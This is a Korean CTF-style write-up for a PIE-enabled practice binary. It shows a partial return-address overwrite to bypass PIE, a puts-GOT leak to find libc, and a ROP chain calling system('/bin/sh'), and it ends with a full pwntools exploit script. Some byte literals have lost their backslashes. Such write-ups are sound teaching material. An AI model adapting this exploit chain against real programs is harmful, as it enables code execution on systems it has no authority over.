
이번 문제는 Full Relro, NX, 그리고 PIE까지 켜져있다. 코드 영역의 주소까지 랜덤화된다는 것을 인지하고 시작하자.


ida로 까봤을 때 메인 함수와 서브 함수 p1이다. 메인 함수에는 별 게 없고, p1에서 버퍼의 크기보다 0x30만큼 더 입력받고, 이를 puts로 그대로 출력해주는 모습이다. printf가 아니므로 FSB는 힘들 것 같고, 특정 값들을 leak 해오는 방법을 사용하면 될 것 같다.

gdb로 실행시켜 보면서 찾아낸 p1함수와 main 함수의 모양이다.
내가 릭할 수 있는 건 뭐가 있을까? 라고 생각하다가, 어떤 걸 릭한다고 해도 실행 흐름을 옮기지 못하면 함수가 종료되기에, 가장 먼저 실행 흐름을 옮겨야 한다고 생각했다.
그런데 gdb에 attach하여 계속 실행하다 보니 규칙을 찾아냈다. 함수의 코드 부분이 계속 바뀌기는 하지만, 하위 1.5byte는 고정되어있다는 사실이다!
따라서 p1 함수의 ret의 하위 1byte를 특정 값으로 덮어서 함수 흐름을 옮길 수 있다.
내가 정한 곳은 main 함수의 시작 부분이었다. 따라서 p1’s ret의 하위 1byte를 0x4f로 덮어주었다.
그리고 덮어줌과 동시에 puts에서 buf를 출력해주기 때문에, 이를 leak하여 main 함수의 시작 부분을 완전히 얻어냈다.
여기까지의 코드는 다음과 같다.
##################################### Round 1 #####################################
payload=b'A' * 0x108
payload+=b'x4f'
pause()
p.send(payload)
p.recvuntil(b"x4f")
main5F= u64(b'x4f'+ p.recv(6)[-6:-1] + b'x00' * 2)
log.info('leak data - '+hex(main5F))
그 다음, 구한 main 함수의 시작 주소로 code_base를 구할 수 있다.
아래의 사진을 보면, code_base는 p1함수의 하위 2바이트를 0000으로 바꾼 것임을 알 수 있다. 따라서 이에 맞게 main함수에서 offset을 빼주면 code_base가 나온다.

구한 code_base를 가지고 pop rdi;ret , ret 가젯의 주소를 구할 수 있다. 아래처럼 ROPgadget을 사용해서 이들의 offset을 구해놓고, 이를 code_base에 더해주면 된다.


puts함수의 plt주소와 got주소 역시 아래 사진과 같이 확인해서 offset을 구할 수 있다. 이렇게 구한 offset을 code_base에 더해주면 puts의 plt주소와 got 주소를 구할 수 있다.

이를 정리한 코드이다.
code_base=main5F - 0x124f
log.info('code base - '+hex(code_base))
p_rdi=code_base + p_rdi_offset
ret=code_base + ret_offset
puts_got=code_base + puts_got_offset
puts_plt=code_base + puts_plt_offset
이제 rop에 필요한 것들을 구했고, 함수 흐름은 다시 main 함수로 돌아갔다. 이번에는 ret 부분을 pop rdi;ret, puts_got, ret, puts_plt로 덮어서 puts 함수의 실제 주소를 leak하고, 그것으로 libc_base를 구한다. 구한 libc_base로 system 함수와 /bin/sh의 주소를 구할 수 있다.
##################################### Round 2 #####################################
payload=b'B' * 0x108
payload+=p64(p_rdi) + p64(puts_got)
payload+=p64(ret)
payload+=p64(puts_plt)
payload+=p64(main5F)
pause()
p.send(payload)
leak=u64(p.recv(6).ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - puts_offset
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh=libc_base + binsh_offset
ROP의 마지막에 main함수 부분을 추가했기에 다시 main 함수가 실행된다! 마지막에는 pop rdi; ret, /bin/sh 주소, ret, system으로 p1의 ret를 덮어서 system(/bin/sh)를 실행하면 된다!
##################################### Round 3 #####################################
payload=b'C' * 0x108
payload+=p64(p_rdi) + p64(binsh)
payload+=p64(ret)
payload+=p64(system)
pause()
p.send(payload)
전체 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./pie1')
e= ELF('./pie1')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
p_rdi_offset=0x12e3
ret_offset=0x101a
puts_got_offset=0x3fb8
puts_plt_offset=0x1080
system_offset=libc.symbols['system']
puts_offset=libc.symbols['puts']
binsh_offset=0x1b45bd
##################################### Round 1 #####################################
payload=b'A' * 0x108
payload+=b'x4f'
pause()
p.send(payload)
p.recvuntil(b"x4f")
main5F= u64(b'x4f'+ p.recv(6)[-6:-1] + b'x00' * 2)
log.info('leak data - '+hex(main5F))
code_base=main5F - 0x124f
log.info('code base - '+hex(code_base))
p_rdi=code_base + p_rdi_offset
ret=code_base + ret_offset
puts_got=code_base + puts_got_offset
puts_plt=code_base + puts_plt_offset
##################################### Round 2 #####################################
payload=b'B' * 0x108
payload+=p64(p_rdi) + p64(puts_got)
payload+=p64(ret)
payload+=p64(puts_plt)
payload+=p64(main5F)
pause()
p.send(payload)
leak=u64(p.recv(6).ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - puts_offset
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh=libc_base + binsh_offset
##################################### Round 3 #####################################
payload=b'C' * 0x108
payload+=p64(p_rdi) + p64(binsh)
payload+=p64(ret)
payload+=p64(system)
pause()
p.send(payload)
p.interactive()

쉘 따내기 성공!